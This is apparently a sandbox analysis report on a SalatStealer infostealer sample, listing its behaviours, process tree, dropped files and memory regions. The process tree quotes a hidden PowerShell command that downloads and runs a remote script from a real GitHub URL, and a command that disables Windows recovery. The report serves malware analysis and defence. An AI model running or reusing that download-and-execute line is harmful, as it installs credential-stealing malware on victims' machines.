Resubmissions

09/06/2026, 16:13

260609-tpchqsew9q

05/07/2025, 13:22

250705-ql79fszls410

05/07/2025, 13:16

250705-qh6w8ayxcw10

05/07/2025, 13:15

250705-qg8dnazky710

Analysis

  • max time kernel
    141s
  • max time network
    162s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250610-en
  • resource tags

    arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05/07/2025, 13:22

General

  • Target
    rpd/Rapid Rust.exe
  • Size 148KB
  • Sample250705-ql79fszls4
  • SHA256 563664af8d969e4a2433d927cde86c95d3ba42603b30fd3e50a8b8c53f763ae1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect SalatStealer payload 18 IoCs
  • Salatstealer family
  • UAC bypass 3 TTPs 1 IoCs
  • salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 24 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\rpd\Rapid Rust.exe
    "C:\Users\Admin\AppData\Local\Temp\rpd\Rapid Rust.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm 'https://raw.githubusercontent.com/wetiee/oculushelp/main/boyy.ps1' | iex"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Users\Admin\AppData\Local\Temp\katysaneur.exe
        "C:\Users\Admin\AppData\Local\Temp\katysaneur.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Users\Admin\AppData\Local\Google\sihost.exe
          C:\Users\Admin\AppData\Local\Google\sihost.exe
          4⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3140
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe
            5⤵
            • UAC bypass
            • Drops file in Drivers directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1980
            • C:\Windows\SysWOW64\ReAgentc.exe
              "C:\Windows\system32\ReAgentc.exe" /disable
              6⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:5672
          • C:\Program Files (x86)\Microsoft\Edge\Application\sihost.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\sihost.exe" -
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4224
          • C:\Program Files\Google\Chrome\Application\sihost.exe
            "C:\Program Files\Google\Chrome\Application\sihost.exe" -
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1940
  • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
    "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
    1⤵
      PID:1932
    • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
      "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
      1⤵
        PID:2792
      • C:\Users\Admin\AppData\Local\Google\sihost.exe
        C:\Users\Admin\AppData\Local\Google\sihost.exe
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:652

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            __PSScriptPolicyTest_n0b0vul0.q5g.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0b0vul0.q5g.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            katysaneur.exe

            • Path C:\Users\Admin\AppData\Local\Temp\katysaneur.exe
            • Size 3.1MB
            • SHA256 5118d9c69355b3549677ecfe7e079fcaaf5f2c282d1f6fe5e2a1ec509fa577b6
            • MD5 SHA1 SHA512 SSDEEP

            memory/652-108-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/652-107-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/1940-65-0x0000000000940000-0x00000000014C9000-memory.dmp

            memory/1940-63-0x0000000000940000-0x00000000014C9000-memory.dmp

            memory/1980-91-0x0000000007F70000-0x0000000007F78000-memory.dmp

            memory/1980-93-0x0000000009030000-0x00000000095D6000-memory.dmp

            memory/1980-81-0x0000000007C90000-0x0000000007CAE000-memory.dmp

            memory/1980-82-0x0000000007CB0000-0x0000000007D54000-memory.dmp

            memory/1980-92-0x0000000007FA0000-0x0000000007FC2000-memory.dmp

            memory/1980-89-0x0000000007E90000-0x0000000007EA5000-memory.dmp

            memory/1980-90-0x0000000007F90000-0x0000000007FAA000-memory.dmp

            memory/1980-88-0x0000000007E80000-0x0000000007E8E000-memory.dmp

            memory/1980-35-0x00000000052C0000-0x00000000052F6000-memory.dmp

            memory/1980-87-0x0000000007E40000-0x0000000007E51000-memory.dmp

            memory/1980-41-0x0000000005A20000-0x000000000604A000-memory.dmp

            memory/1980-86-0x0000000007ED0000-0x0000000007F66000-memory.dmp

            memory/1980-71-0x0000000070960000-0x00000000709AC000-memory.dmp

            memory/1980-43-0x00000000059A0000-0x00000000059C2000-memory.dmp

            memory/1980-45-0x0000000006130000-0x0000000006196000-memory.dmp

            memory/1980-44-0x00000000060C0000-0x0000000006126000-memory.dmp

            memory/1980-54-0x0000000006260000-0x00000000065B7000-memory.dmp

            memory/1980-70-0x0000000007C30000-0x0000000007C64000-memory.dmp

            memory/1980-57-0x0000000006780000-0x000000000679E000-memory.dmp

            memory/1980-58-0x0000000006840000-0x000000000688C000-memory.dmp

            memory/1980-83-0x0000000008400000-0x0000000008A7A000-memory.dmp

            memory/1980-64-0x0000000006D60000-0x0000000006DA6000-memory.dmp

            memory/1980-85-0x0000000007E10000-0x0000000007E1A000-memory.dmp

            memory/1980-72-0x0000000070BF0000-0x0000000070F47000-memory.dmp

            memory/1980-84-0x0000000007DD0000-0x0000000007DEA000-memory.dmp

            memory/2676-26-0x0000000000140000-0x0000000000CC9000-memory.dmp

            memory/2676-31-0x0000000000140000-0x0000000000CC9000-memory.dmp

            memory/2676-32-0x0000000000140000-0x0000000000CC9000-memory.dmp

            memory/3140-105-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-110-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-104-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-40-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-38-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-100-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-33-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-109-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-102-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-103-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-111-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-97-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-98-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/3140-99-0x00000000006A0000-0x0000000001229000-memory.dmp

            memory/4224-42-0x0000000000180000-0x0000000000D09000-memory.dmp

            memory/4224-56-0x0000000000180000-0x0000000000D09000-memory.dmp

            memory/5012-7-0x000001E8F4780000-0x000001E8F47A2000-memory.dmp

            memory/5012-14-0x000001E8DC3C0000-0x000001E8DC3D0000-memory.dmp

            memory/5012-0-0x000001E8DC3C0000-0x000001E8DC3D0000-memory.dmp

            memory/5012-1-0x000001E8DC3C0000-0x000001E8DC3D0000-memory.dmp

            memory/5012-11-0x000001E8DC3C0000-0x000001E8DC3D0000-memory.dmp

            memory/5012-12-0x000001E8F4DA0000-0x000001E8F4F62000-memory.dmp

            memory/5012-24-0x000001E8DC3C0000-0x000001E8DC3D0000-memory.dmp

            memory/5012-15-0x000001E8DC3C0000-0x000001E8DC3D0000-memory.dmp